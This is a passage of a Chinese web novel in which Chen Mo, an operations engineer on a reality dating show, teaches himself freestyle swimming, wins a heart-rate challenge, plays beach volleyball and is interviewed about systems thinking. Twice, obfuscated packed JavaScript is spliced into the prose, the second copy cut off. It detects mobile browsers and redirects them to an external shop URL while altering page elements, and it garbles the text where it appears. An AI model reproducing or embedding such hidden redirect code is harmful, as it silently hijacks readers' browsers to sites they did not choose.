“哇!真的好了!”苏小雨兴奋地拿回平板,“陈末老师你好厉害!” “只是基础操作。”陈末说。 苏小雨看着他,眼睛亮晶晶的:“陈末老师,你平时喜欢做什么呀?除了修电脑。” 陈末想了想:“看书,处理工作,算账。” “算账?” “算收入和支出。”陈末说,“还有时间分配。” 苏小雨歪头:“听起来好无聊。你不出去玩吗?不看电影吗?不约会吗?” “很少。”陈末说。 “那……”苏小雨停顿了一下,“你觉得恋爱应该是什么样子的?” 陈末被这个问题问住了。他没谈过恋爱,只能从理论角度分析。 “从系统协作角度,”他说,“应该是两个独立系统建立稳定连接,实现数据交换和资源共享,同时保持各自的完整性和自治性。” 苏小雨愣了几秒,然后大笑:“陈末老师你太可爱了!恋爱怎么能用这种词形容!” “那应该怎么形容?” “应该……”苏小雨想了想,“应该是心跳加速,是天天想见面,是看到他就开心!” “那是多巴胺和血清素的作用。”陈末说,“神经化学反应。” 苏小雨笑得倒在沙发上:“不行了不行了,陈末老师你真是……” 陈末不明白她笑什么。他说的是事实。 苏小雨笑够了,坐起来,擦擦眼角的泪:“陈末老师,你知道吗?你这种一本正经说奇怪话的样子,特别吸引人。” 吸引人?陈末皱眉。他只是在陈述事实。 “好了,我不打扰你了。”苏小雨抱着平板起身,“饼干记得吃哦!明天见!” 她蹦跳着走了。 陈末关上门,回到桌边。他看着那盒饼干,又想起苏小雨的话:“特别吸引人。” 吸引人?他只是在做日常工作。 但为什么每个人都这么说? 手机又震动。这次是楚曦:“陈末,明天早上游泳吗?我教你自由泳。” 陈末回复:“我游得不好。” “所以才要教啊!早上七点,泳池见。” 陈末还没来得及回复,又一条消息进来,是秦澜:“陈末,关于昨天聊的‘人类系统优化’,我有些新想法。明天早餐后有空讨论吗?” 陈末看着这两条消息,又想起林薇的技术咨询,苏小雨的平板维修。 他忽然意识到:他好像成了这个别墅的……技术支持中心兼人生顾问。 而他的日薪,依然是一千块。 他打开手机备忘录,更新记录: 【8月6日第四天】 当前状态:书店事件发酵,与林薇深度对话,收到苏小雨饼干,预约明日游泳课和系统讨论。 今日收入:预计1000元(待确认) 累计收入:4500元 距离目标:25500元 新观察:各女嘉宾以不同方式增加互动频率。疑似形成某种“资源竞争”。需评估对“背景板”角色的影响。 写完,他盯着“资源竞争”四个字。 如果真是资源竞争,那他这个“资源”的价值……是不是被低估了? 日薪一千,真的合理吗? 这个念头一出现,就像一颗种子,在他心里悄悄发芽。 窗外,天色渐暗。 而陈末不知道的是,在别墅的另一端,王烁正在和经纪人通电话。 “对,热度全被他抢了……” “方案?我想想……” “好,按你说的做。” 电话挂断。王烁看着窗外,眼神深沉。 竞争,才刚刚开始。 14. 苏小雨的直球攻势 早晨七点,陈末在泳池边见到楚曦时,深刻理解了“专业运动员”和“普通人类”之间的物种差异。 楚曦已经游完了一千米热身,正靠在池边调整呼吸。看见陈末穿着节目组提供的泳裤——深蓝色,尺码有点大——她挑眉:“你真的来啦?” “答应了。”陈末说。他昨晚算了笔账:早上七点到八点游泳教学,算额外工作吗?如果算,时薪125元,一小时就是125元。如果不算……那他就亏了。 “先热身。”楚曦示范了几个拉伸动作。陈末跟着做,关节发出轻微的响声。 “你多久没运动了?”楚曦问。 “上次正式运动是……大学体育课。”陈末回忆,“五年前。” 楚曦摇头:“行吧,从基础开始。先学呼吸。” 接下来的四十分钟,陈末在楚曦的指导下学习自由泳呼吸节奏。过程很不顺利——他要么抬头太猛呛水,要么转头不够吸不到气。楚曦很有耐心,一遍遍纠正。 “你学东西很快,”楚曦在他又一次失败后说,“但身体协调性需要练。” “大脑会了,身体不会。”陈末抹了把脸上的水。 “正常。多练就行。”楚曦看看时间,“差不多了,明天继续?” “明天七点?” “七点。” 陈末上岸,去淋浴间冲澡。冲澡时他算时间:七点到七点四十五,四十五分钟。如果算加班就是93.75元,不算的话就是白干。 他决定先记着,有机会问刘导。 七点五十五分,他走进餐厅。今天早餐是西式自助,苏小雨已经在长桌边等他了——准确说,是在他的固定座位旁边等。 “陈末老师早!”她今天换了件嫩黄色的连衣裙,头发扎成高马尾,整个人像颗小太阳,“我给你留了位置!” 陈末看过去。他的座位前已经摆好了一盘食物:煎蛋、培根、烤番茄、面包,旁边还有一小碟……饼干?造型可爱的饼干,和他昨天收到的那盒一样。 “这是……”陈末坐下。 “早餐饼干!”苏小雨笑眯眯地说,“我早上刚烤的!用的是昨天剩下的材料!” 陈末拿起一块,是星星形状,烤得有点焦。他咬了一口——比昨天还甜,甜得发齁。 “好吃吗?”苏小雨期待地看着他。 陈末艰难咽下:“很……甜。” “甜才好吃呀!”苏小雨自己也拿了一块,“对了,平板又好了!谢谢你昨天帮我清理!” “应该的。”陈末喝了口水冲淡甜味。 其他人陆续来了。楚曦最后一个到,头发还湿着,看见苏小雨坐在陈末旁边,她挑了挑眉,没说什么,去取食物了。 林薇今天穿得很简单,白衬衫牛仔裤,手里拿着那本《人月神话》。她在陈末斜对面坐下,把书推过来:“看完了。谢谢。” “不客气。”陈末接过书,“有什么感想?” “太技术了,”林薇说,“但有些管理思想可以用在其他地方。” “比如?” “比如‘没有银弹’理论。”林薇说,“有些问题没有简单解决方案,只能慢慢改进。” 陈末点头。这是软件工程的经典观点。 苏小雨插话:“什么银弹?在说什么呀?” “技术书里的概念。”陈末简单解释。 “哦……”苏小雨似懂非懂,但她很快转移话题,“陈末老师,今天下午的自由活动,我们去看海豚吧?我查过了,这个季节有海豚!” 陈末在心里评估:看海豚=坐船=可能晕船=难受。 “我想在房间处理工作。”他说。 “啊……”苏小雨失望地噘嘴,“可是难得来海岛……” 秦澜这时开口:“陈末,早餐后有空吗?关于昨天说的系统优化,我有了新想法。” “好。”陈末说。 苏小雨看看秦澜,又看看陈末,眼神里闪过一丝什么,但很快又被笑容掩盖:“那陈末老师先忙!我下午自己去看海豚!” 早餐后,陈末和秦澜去了书房。秦澜打开平板,上面是她整理的思维导图。 “我昨天把你的话整理了一下,”秦澜说,“结合项目管理理论,总结了一套‘人生系统优化框架’。” 陈末看着屏幕。框架很完整,分目标设定、资源管理、风险评估、迭代改进几个模块。每个模块下都有具体方法和度量指标。 “很专业。”陈末说。 “是你启发得好。”秦澜推了推眼镜,“我在想,这套框架能不能用在影视项目管理上。现在的剧组管理太依赖经验,缺乏系统性。” “可以试试。”陈末说,“但需要根据具体场景调整参数。” “我也是这么想的。”秦澜点头,“所以想请你做顾问——当然,是节目结束后。我可以付费。” 付费。陈末心里一动。额外的收入来源。 “什么价位?”他问。 秦澜笑了:“你很直接。按市场价,技术顾问日薪五千到一万,看项目难度。” 日薪五千到一万。陈末快速心算:比他现在的“日薪一千”高五到十倍。 “可以。”他说,“节目结束后联系。” “好。”秦澜满意地收起平板,“另外,关于节目里……王烁最近有点不对劲,你注意一下。” “不对劲?” “他在观察你。”秦澜说,“不是普通的好奇,是……评估。像在找弱点。” 陈末想起昨晚王烁那个深沉的眼神。 “知道了。”他说。 谈话结束。陈末回房间,打开笔记本电脑处理工作。十一点,他收到苏小雨的消息:“陈末老师!我好像把平板又弄坏了……” 又坏了?这故障率也太高了。 他回复:“什么问题?” “开不了机了……充电也没反应。” “拿来我看看。” 五分钟后,苏小雨抱着平板敲门。她眼睛红红的,像要哭。 “我不知道怎么回事……早上还好好的……” 陈末接过平板,按电源键——没反应。插上充电器——充电指示灯不亮。 “可能电池问题。”他说,“或者主板。” “那怎么办?”苏小雨真的快哭了,“里面有我好多照片……” “我试试。”陈末拿出工具包——他习惯随身带一套简易维修工具。拆开平板后盖,检查电池连接。果然,电池接口松了。 他重新插紧,装回后盖,按电源键——平板正常开机。 “好了。”他把平板还给苏小雨。 苏小雨瞪大眼睛:“这就好了?” “接口松了。” “陈末老师你太厉害了!”苏小雨抱着平板,转悲为喜,“我请你吃午饭吧!作为感谢!” “不用了。”陈末说。 “要的要的!”苏小雨坚持,“不然我过意不去!就今天中午!我请客!” 陈末想了想。午餐反正要吃,谁请都一样。 “好。”他答应了。 午餐时,苏小雨真的请客了——她用自己的钱买了餐厅最贵的海鲜拼盘,摆满了整张桌子。 “这么多?”陈末看着桌上的龙虾、螃蟹、生蚝。 “庆祝平板复活!”苏小雨开心地说,“而且……也想谢谢你。” “谢什么?” “谢谢你……”苏小雨顿了顿,“总是帮我解决问题。而且……和你在一起很轻松。” 陈末不太理解“很轻松”是什么意思,但他点点头。 午餐吃到一半,楚曦端着盘子过来:“哟,这么丰盛?” “我请陈末老师吃饭!”苏小雨说。 楚曦在陈末另一边坐下:“那我蹭个座。陈末,明天游泳别忘了。” “不会。” “你们明天还游泳呀?”苏小雨问。 “嗯,我教他自由泳。”楚曦说,“你要来吗?” “我……我游泳不太好。”苏小雨说,“不过可以去看!” “随便。”楚曦开始剥虾。 午餐后,下午自由活动时间。苏小雨真的自己去看海豚了,楚曦去健身房,秦澜在房间工作,林薇……陈末不知道林薇去哪儿了。 他决定在房间处理工作。但刚打开电脑,手机响了——是刘导。 “陈末老师,下午三点,麻烦来一趟任务室。有临时安排。” 临时安排?陈末看了眼时间,两点四十。 “什么安排?”他问。 “到了再说。”刘导挂了电话。 陈末关掉电脑,下楼。任务室里,刘导和其他工作人员已经在等了。 “陈末老师,”刘导说,“下午有个突发环节——‘心跳挑战’。我们会在别墅不同位置放置心跳监测手环,嘉宾需要找到并戴上,然后完成指定任务。手环会实时上传心率数据到大屏幕,观众可以看到谁的心跳最稳定,谁最紧张。” 心跳挑战。陈末心想:这又是什么奇怪设计。 “规则很简单,”刘导继续说,“三点半开始,六点结束。找到手环越多、完成任务越多、平均心率越稳定,分数越高。第一名有特别奖励。” “什么奖励?” “下次任务的分组优先选择权。”刘导说,“可以指定和谁一组。” 陈末懂了。这是制造竞争和悬念。 “现在其他嘉宾已经知道了,”刘导看看表,“你还有十分钟准备。手环藏在别墅和花园范围内,一共六个,每人最多找到一个。任务卡会在手环旁边。” 陈末回到房间,思考策略。找到手环+完成任务+保持心率稳定。最后一点最难——他不知道什么任务,不知道会不会影响心率。 三点半,广播响起:“心跳挑战,现在开始。” 陈末走出房间。走廊里很安静,其他嘉宾大概已经出发了。 他先分析:六个手环,六个人。理论上每人一个。但“最多找到一个”,意味着可能有人找不到,有人找到多个。 那么最优策略是:尽快找到一个,完成任务,然后……躲起来,保持心率稳定。 他开始搜索。从三楼开始,检查走廊装饰、盆栽、消防栓后面。在楼梯转角的花瓶里,他摸到了一个手环。 黑色的,带显示屏,显示实时心率。他戴上,手腕传来轻微的震动——连接成功。 旁边有一张任务卡:“去花园秋千,连续荡五十下,心率不得超过110。” 陈末皱眉。荡秋千?还要求心率? 他下楼去花园。秋千在花园角落,苏小雨已经在那里了——她找到了另一个手环,正在荡秋千,一边荡一边数:“二十七、二十八……” 看见陈末,她挥手:“陈末老师!你也找到啦!” “嗯。”陈末等她荡完。苏小雨下来时,手环显示心率128。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990775|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “超过啦!”她懊恼地说,“要求是120以下。” 陈末坐上秋千。他开始荡,很慢,很平稳。一边荡一边深呼吸,控制心跳。 手环显示心率:78、79、80……稳定在85左右。 他荡了五十下,下来。心率92,达标。 “哇,陈末老师你好稳!”苏小雨惊叹。 “只是控制呼吸。”陈末说。他看了眼苏小雨的手环任务卡:“去厨房做一杯奶昔,全程心率100以下。” “这怎么可能!”苏小雨说,“我一紧张心跳就快!” “慢慢做,别急。”陈末建议。 他离开花园,去找下一个手环。在厨房冰箱顶上找到了第二个——看来节目组允许找到多个。 这个手环的任务是:“去健身房,在跑步机上以8km/h速度跑五分钟,心率保持在130-150区间。” 陈末去健身房。楚曦已经在跑步机上了,她跑得很轻松,心率稳定在140。 看见陈末,她调慢速度:“你也来了?” “嗯。”陈末上了另一台跑步机,设好速度,开始跑。 跑步时他注意呼吸节奏,保持心率在145左右。五分钟后,任务完成。 “可以啊,”楚曦说,“心率控制得很好。” “习惯了。”陈末说。处理紧急故障时也要保持冷静心率。 他离开健身房,在客厅沙发缝里找到第三个手环。任务:“去书房,默写圆周率小数点后三十位,心率不得超过100。” 陈末去书房。林薇已经在里面了,她坐在书桌前,面前放着纸笔,正在默写。 看见陈末,她点头示意,继续写。 陈末在另一张桌子坐下,开始默写。3.1415926535……他背到第二十位时,手环显示心率95。 太紧张了?他深呼吸,继续写。 完成时,心率98,刚好达标。 林薇也完成了,她放下笔,心率显示101。 “超了一点。”她说。 “差一点。”陈末说。 两人对视一眼,都没说话。 六点,挑战结束。大家回到任务室,大屏幕上显示每个人的数据。 陈末:找到3个手环,完成3个任务,平均心率102,排名第一。 楚曦:找到2个,完成2个,平均心率118,第二。 林薇:找到1个,完成1个,平均心率105,第三。 秦澜:找到1个,完成1个,平均心率110,第四。 苏小雨:找到1个,完成1个,平均心率132,第五。 王烁:找到1个,完成1个,平均心率125,第六。 刘导宣布结果:“恭喜陈末获得下次任务的分组优先选择权!” 王烁的脸色不太好看。他全程只找到一个手环,任务完成得也勉强。 “陈末真厉害,”王烁笑着说,“什么都行。” “运气好。”陈末说。 晚餐时,气氛有点微妙。苏小雨还在懊恼自己心率太高,楚曦在研究陈末的心率控制技巧,林薇安静吃饭,秦澜在平板上记笔记,王烁……王烁吃得很少。 “陈末老师,”苏小雨问,“你怎么控制心跳的呀?教教我!” “深呼吸,专注任务,别想结果。”陈末说。 “听起来简单,做起来难。”楚曦说,“我比赛时都控制不住心跳。” “那是肾上腺素的正常反应。”陈末说。 “但你好像没有肾上腺素。”秦澜说,“或者说,你能控制它。” 陈末不知道怎么解释。他只是……习惯了。服务器着火时你也不能慌,慌了更解决不了问题。 晚餐后,大家各自回房。陈末在楼梯上被王烁叫住。 “陈末,”王烁说,“能聊聊吗?” 两人走到阳台。海风吹来,带着夜晚的凉意。 “你今天表现很好。”王烁说。 “谢谢。” “我有点好奇,”王烁看着他,“你参加节目,真的只是为了钱吗?” 又来了。陈末保持平静:“嗯。” “没有其他目的?比如……想红?想进娱乐圈?” “不想。”陈末说,“我擅长的是技术,不是表演。” 王烁笑了:“但你现在就在表演——表演‘真实’。” 陈末心里一紧。王烁看出什么了? “我没有表演。”他说,“我只是在做自己。” “做自己……”王烁重复,“你知道吗?在这个圈子里,‘做自己’是最难的表演。” 陈末没说话。 “算了,”王烁拍拍他的肩,“别在意。我只是……有点羡慕你。能这么简单。” 他走了,留下陈末一个人站在阳台。 陈末看着海面。月光下,海浪轻轻拍打沙滩。 王烁的话在他脑子里回响:“‘做自己’是最难的表演。” 真的是表演吗? 他不知道。 他只知道,明天醒来,又要开始新一天的工作。 日薪一千。 还有二十八天。 但心里那个疑问,像颗种子,已经开始生根发芽: 如果这真的是表演,那他到底在演什么? 如果他不是在表演,那为什么每个人都觉得他在演? 海风吹过,没有答案。 15. 楚曦的“体能测试” 早晨六点五十分,陈末站在泳池边时,楚曦已经游完了一千五百米。 她浮出水面,抹了把脸,看见陈末穿着和昨天同款的泳裤——深蓝色,尺码依旧偏大——她笑了:“你还真准时。” “约好了。”陈末说。他昨晚仔细研究了合同,确认了“非指定时间的嘉宾自发互动”是否算工时。结论是:算,但需要双方确认。他给楚曦发了消息确认今早的游泳教学,楚曦回复“算,我作证”。这样今早的93.75元就稳了。 “先热身。”楚曦上岸,开始拉伸。陈末跟着做,关节的响声比昨天小了点。 “今天教换气配合划臂。”楚曦示范,“看我节奏:划水,转头,吸气,回正。” 陈末试了几次,还是不太协调。要么划水和转头不同步,要么吸气时间不够呛水。 “你太紧张了,”楚曦观察,“放松点。游泳是和水合作,不是对抗。” 陈末尝试放松。果然好了一些,能连续换两口气了。 “进步很快。”楚曦在他游完一趟后说,“你学东西有方法。” “只是分解步骤,逐步优化。”陈末说。 “像优化代码?” “差不多。”陈末靠在池边,“找到瓶颈,调整参数,测试效果。” 楚曦笑了:“你什么都用技术比喻。那恋爱呢?也能优化?” 陈末思考:“理论上可以。建立数据模型,分析互动模式,调整行为策略。” “实际呢?” “实际……”陈末顿了顿,“我没有数据。” 楚曦大笑,拍起水花:“所以你是在纸上谈兵?” “可以这么说。”陈末承认。 七点四十五分,教学结束。陈末上岸,准备去冲澡。 “明天继续?”楚曦问。 “好。” “对了,”楚曦叫住他,“下午有空吗?沙滩排球,二对二,缺个人。” 陈末心里算时间:下午自由活动,如果参加沙滩排球,算额外工作吗?大概率不算,因为是娱乐活动。 “我打得不好。”他说。 “没事,娱乐局。”楚曦说,“苏小雨和林薇也说参加,王烁和秦澜一组,我们缺一个人。” “你们组?” “嗯,我、苏小雨,加你。正好三个人轮换。” 陈末想了想。娱乐局,不算工作,但可以收集数据——关于楚曦运动表现的详细数据,也许能用来优化她的游泳教学。 “好。”他答应了。 “下午三点,主沙滩。”楚曦说。 早餐时,苏小雨听说陈末加入,兴奋得差点打翻牛奶:“太好了!我们队肯定赢!” “别高兴太早,”楚曦泼冷水,“王烁运动细胞不错,秦澜也很厉害。” “但陈末老师会分析呀!”苏小雨说,“可以制定战术!” 陈末心想:我只是去凑数的。 林薇安静地吃着麦片,听到排球比赛,抬头:“我运动不太好。” “没事,”楚曦说,“娱乐为主。而且你可以负责发球,那个简单。” “好。”林薇点头。 王烁听说陈末加入楚曦队,笑容深了些:“那下午要好好较量了。” “友谊赛。”秦澜说。 “当然。”王烁点头。 下午两点五十五分,陈末来到主沙滩。节目组已经准备好了场地——标准的沙滩排球网,边界线用绳子标出。三个摄像机位,一个俯拍全景,两个特写。 楚曦、苏小雨、林薇已经到了。楚曦穿着运动背心和短裤,在做热身。苏小雨换了套粉色的运动装,在练习颠球。林薇……穿着长袖衬衫和长裤,戴着帽子,站在阴影里。 “陈末老师!”苏小雨挥手,“快来热身!” 陈末走过去。他穿着节目组提供的运动服——白色T恤,灰色短裤,不太合身。 “我们先分配位置。”楚曦说,“我主攻,陈末二传,小雨和林薇轮流发球和防守。” “二传是什么?”陈末问。 “就是接一传后把球传给攻手。”楚曦解释,“需要判断准确,传球稳定。” “明白了。”陈末说。听起来像数据包转发——接收,处理,转发到正确目的地。 王烁和秦澜也来了。王烁穿着专业排球服,看起来练过。秦澜是运动装,但动作很利落。 “规则简单,”楚曦说,“三局两胜,每局21分。球落地或出界算丢分。” 比赛开始。 第一局,楚曦队明显劣势。王烁发球很强,秦澜防守稳健。陈末的二传不稳定——要么传太高,要么传太偏。林薇发球失误两次,苏小雨接球手滑。 21:12,王烁队赢。 “没事没事,”楚曦鼓励,“才第一局。” 中场休息时,陈末开始观察。他拿出手机——节目组允许在非正式拍摄时使用——打开备忘录,记录观察数据。 “你在记什么?”苏小雨凑过来。 “数据分析。”陈末说,“王烁发球角度集中在左后场,秦澜防守范围主要在网前。我们的问题是一传到位率低,二传失误多,进攻点单一。” 楚曦挑眉:“你还真分析上了。” “发现问题才能解决。”陈末说,“第二局调整策略。小雨发球瞄准秦澜和王烁之间区域,那是防守盲区。林薇发球尽量低平,减少失误。我调整二传高度,楚曦进攻时注意避开王烁的拦网。” 苏小雨眼睛亮了:“听起来好专业!” “试试。”楚曦说。 第二局开始。按陈末的策略,苏小雨发球果然得分——球落在王烁和秦澜中间,两人都以为对方会接,结果都没接。 “好球!”楚曦击掌。 林薇发球,低平过网,王烁勉强接起,但一传不到位。陈末判断落点,稳稳接住,传给楚曦。楚曦避开王烁拦网,斜线扣球得分。 15:14,楚曦队首次领先。 王烁表情严肃起来。他调整战术,开始针对陈末——发球找陈末,扣球也找陈末。 陈末接球压力大增。但他保持冷静,分析球路:王烁的扣球旋转很强,落地会变向。他提前预判,成功接起两个。 “可以啊!”楚曦惊叹。 21:19,楚曦队赢下第二局。 “耶!”苏小雨跳起来,“扳平了!” 王烁擦着汗,看向陈末的眼神复杂。秦澜拍拍他的肩:“他分析能力很强。” 第三局决胜。双方都全力以赴。比分胶着,交替上升。 18:17,楚曦队领先一分。王烁发球,瞄准陈末。球速很快,角度刁钻。 陈末预判正确,但沙滩地面不平,他移动时脚下一滑,失去平衡。但他还是尽力把球垫起——球高高飞向楚曦方向。 楚曦起跳扣杀。王烁拦网。球打在王烁手上,弹向界外。 秦澜飞身救球,在球落地前托回。球过网,落向无人防守的区域。 林薇动了。她本来在网前,看见球飞来,下意识伸手去接——动作笨拙,但碰到了球。球改变方向,飞向陈末。 陈末刚从地上爬起来,看见球飞来,本能地双手一垫。球过网,落在王烁队界内。 得分。19:17。 “好球!”楚曦跑过来拍陈末的背,“摔疼没?” “没事。”陈末站起来,拍掉身上的沙子。 王烁看着那个球,沉默了几秒,然后笑了:“漂亮。” 比赛继续。最终楚曦队以21:19赢下第三局。 “赢了!”苏小雨欢呼,“我们赢了!” 楚曦和陈末击掌。林薇也走过来,微微点头。 王烁和秦澜过来握手。“打得不错。”王烁对陈末说,“特别是那个救球。” “运气好。”陈末说。 “不,”王烁摇头,“是预判。你提前知道球会飞向哪里。” 陈末没否认。他确实在分析球路。 比赛结束,大家坐在沙滩上休息。工作人员递来水和毛巾。 “陈末老师,”苏小雨喝着水,“你运动的时候也在分析吗?” “嗯。”陈末说,“分析对手习惯,预测下一步动作。” “不累吗?” “习惯了。”陈末说,“运维也要监控系统状态,预测故障。” 楚曦擦着汗:“你刚才说我进攻时要注意避开王烁的拦网,怎么知道他会拦哪里?” “观察他的起跳时机和手臂角度。”陈末说,“他习惯在攻手起跳后半秒起跳,手臂倾向于右斜。所以你往左打,成功率更高。” 楚曦回想,点头:“确实。你连这个都注意到了。” 秦澜开口:“陈末,你的分析模式可以系统化吗?比如做成一个训练辅助系统?” “理论上可以。”陈末说,“采集运动数据,建立模型,给出优化建议。但需要传感器和算法支持。” “以后可以做。”秦澜记在平板上。 林薇安静地听着,忽然问:“这种分析模式,可以用在演戏上吗?” 所有人都看向她。 “比如,”林薇继续说,“分析角色行为模式,预测情感变化,优化表演节奏。” 陈末思考:“可以。但表演比运动复杂,变量更多。” “但原理相通。”林薇说,“都是观察、分析、优化。” “嗯。”陈末点头。 王烁听着这些对话,眼神越来越深。他忽然站起来:“我有点累,先回去了。” “一起吧。”秦澜也起身。 两人离开后,沙滩上剩下楚曦、苏小雨、林薇和陈末。 “王烁哥好像不高兴。”苏小雨小声说。 “输了比赛,正常。”楚曦说。 “不只是比赛。”苏小雨说,“他最近都不怎么笑了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990776|193693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈末想起王烁昨晚的话:“在这个圈子里,‘做自己’是最难的表演。” 也许王烁也在演,演一个完美的偶像。而现在,陈末这个“真实”的人出现,打破了他的表演节奏。 “算了,不想了。”楚曦站起来,“去游泳?刚才出汗了。” “好呀!”苏小雨跳起来。 林薇摇头:“我回去了。” “陈末呢?”楚曦问。 陈末看了眼时间,四点二十。离晚餐还有两小时。 “我再待会儿。”他说。 楚曦和苏小雨去游泳了。林薇也离开了。陈末一个人坐在沙滩上,看着海。 夕阳开始西下,把海面染成金色。海浪声规律而持续。 他打开手机备忘录,记录今天的观察: 【沙滩排球数据分析】 王烁:发球旋转强,落点集中左后场;拦网习惯右斜;情绪波动影响发挥。 秦澜:防守稳健,预判准确;团队配合意识强。 楚曦:爆发力好,但进攻路线单一;可优化起跳时机和击球角度。 苏小雨:反应快,但稳定性差;接球手型需调整。 林薇:运动基础弱,但关键时刻有意识反应;可针对性训练。 写完,他看着这些记录。这些数据有什么用?也许能帮楚曦提高排球水平?也许能帮林薇优化表演?也许……只是他的职业病。 但楚曦说他“分析能力很强”。秦澜想让他做顾问。林薇请教他技术问题。苏小雨依赖他修平板。 所有人都需要他解决问题。 而他,只是在做自己最擅长的事——分析、优化、解决。 但为什么,这些在运维工作中再普通不过的能力,在这里却成了“特殊才能”? 手机震动,是张伟:“末哥!沙滩排球上热搜了!你那个救球的动图传疯了!” 陈末点开链接。动图里,他摔倒在沙滩上,但还是把球垫起,然后林薇接球,他再垫球得分。循环播放。 评论: “陈末这反应绝了!” “林薇居然也接球了!虽然动作笨拙但好可爱!” “楚曦扣球好帅!苏小雨全程在喊加油哈哈哈!” “王烁脸色不太好啊……” “陈末真的是技术宅吗?这运动神经可以啊!” 陈末关掉页面。又上热搜了。这次是运动表现。 他想起刘导说的“真实就是你最大的武器”。现在连运动都真实了。 但真的是“真实”吗?他只是用技术思维分析运动,就像分析服务器性能一样。 这算真实,还是另一种表演? 他不知道。 他只知道,明天醒来,又要开始新一天的工作。 日薪一千。 还有二十七天。 但心里的疑问越来越多: 为什么他的“普通能力”在这里变得“不普通”? 为什么所有人都需要他? 为什么……他越来越觉得,自己拿的日薪,可能真的配不上他提供的价值? 这个念头一旦出现,就再也压不下去了。 夕阳沉入海平面,天空变成深蓝色。 陈末起身,拍掉身上的沙子,走回别墅。 路上他遇到刘导。刘导笑容满面:“陈末老师,今天排球打得不错!观众反响很好!” “谢谢。”陈末说。 “对了,”刘导压低声音,“明天有个特别环节,需要你配合一下。” “什么环节?” “暂时保密。”刘导神秘地笑笑,“但对你来说是好事。相信我。” 好事?陈末看着刘导的笑容,心里有种不祥的预感。 在这个节目里,“好事”通常意味着更多的工作,更多的表演,更多的……他不想面对的事情。 但他只能点头:“好。” 刘导满意地走了。 陈末回到房间,关上门。 他站在窗前,看着夜色中的海。 明天会有什么“特别环节”? 他不知道。 但他知道,无论是什么,他都需要演下去。 演一个“真实”的陈末。 演一个“为钱而来”的运维工程师。 演一个……连自己都开始怀疑的,角色。 窗外,第一颗星星亮起来了。 像监控面板上的一个指示灯。 提示着:系统仍在运行。 而陈末,这个突然变得重要的组件,正在被推向系统的最核心位置。 他准备好了吗? 他不知道。 他只知道,他需要那笔钱。 为了母亲。 为了那个手术。 为了……他必须演下去。 即使连自己都开始分不清, 哪里是表演, 哪里是真实。 16. 秦澜的“系统架构”访谈 上午十点,陈末按照约定来到别墅的书房。 秦澜已经等在房间里了。她今天穿得比平时更正式——深灰色西装套装,白色衬衫,头发一丝不苟地挽在脑后。书房的长桌上摆着两台笔记本电脑、一个录音设备、几个笔记本,还有两杯冒着热气的咖啡。 “请坐。”秦澜指了指对面的椅子,“谢谢你能来。” 陈末坐下。他今天穿了件浅蓝色的衬衫——行李箱里最后一件干净衣服。昨晚他算过时间:这次访谈预计两小时,从十点到十二点。如果是工作,就是166.66元。他特意问了秦澜是否算节目录制,秦澜说“算我个人邀请,但我会跟节目组报备”。这意味着大概率可以算工时。 “不用紧张,”秦澜打开录音设备,“就是聊天。我最近在筹备一部职场剧,主角是技术背景,想收集一些真实素材。” 陈末点头。这个理由很合理。 “我们从基础开始。”秦澜翻开笔记本,“你日常的工作内容具体包括哪些?” 陈末开始描述。从监控告警处理到故障排查,从系统部署到性能优化,从容量规划到灾难恢复。他说得很详细,用了大量专业术语。秦澜认真记录,偶尔提问。 “你提到‘容量规划’,具体怎么做?” “分析历史数据,预测增长趋势,计算资源需求,制定采购或扩容计划。”陈末说,“就像城市要提前规划道路和排水系统,不能等堵车了再修路。” 秦澜点头,记下这个比喻。 “故障排查呢?有没有固定的流程?” “有。”陈末列举,“确认现象,收集日志,定位根因,制定方案,执行修复,验证效果,记录复盘。每个步骤都有标准操作。” “听起来很像医生看病。” “原理相通。都是诊断治疗。” 访谈进行了一个小时。秦澜的问题从技术细节逐渐扩展到工作哲学。 “你提到‘系统思维’,具体指什么?” “把复杂事物看作相互连接的组件组成的整体。”陈末解释,“关注组件之间的关系,以及整体涌现出的特性。比如一台服务器宕机不只是这台机器的问题,要看它在整个架构中的角色,对上下游的影响。” “这种思维模式,可以在生活中应用吗?” “可以。”陈末说,“比如一个家庭就是一个系统,每个成员是组件,关系是连接。出现问题时要看整体互动模式,而不是只责怪某个成员。” 秦澜若有所思地记下。 十一点,秦澜合上第一个笔记本,打开第二个。 “接下来是一些更抽象的问题。”她说,“关于你之前提到的‘人类系统优化’理论。我整理了一个初步框架,想请你补充完善。” 她打开笔记本电脑,屏幕上是完整的思维导图。陈末看了一眼,有些惊讶——框架非常专业,分目标管理、资源分配、风险评估、迭代优化四个主模块,每个模块下又有子模块和具体方法。 “你做得很好。”陈末说。 “只是整理你的想法。”秦澜把电脑转向他,“我们一个个模块讨论。” 从目标管理开始。陈末解释如何定义SMART目标(具体、可衡量、可实现、相关、有时限),如何拆解大目标为小任务,如何设置里程碑和检查点。秦澜边听边修改框架,加入具体案例。 “比如,”陈末举例,“‘提高系统稳定性’是个模糊目标。要具体为‘将月度故障时间从10小时降低到2小时’,然后拆解为‘优化监控告警’、‘实施自动化恢复’、‘改进发布流程’等子任务。” 秦澜点头,在框架里加入这个例子。 然后是资源管理。时间、精力、注意力、人际关系……陈末用运维的资源管理方法类比:优先级排序、负载均衡、容量预留、弹性伸缩。 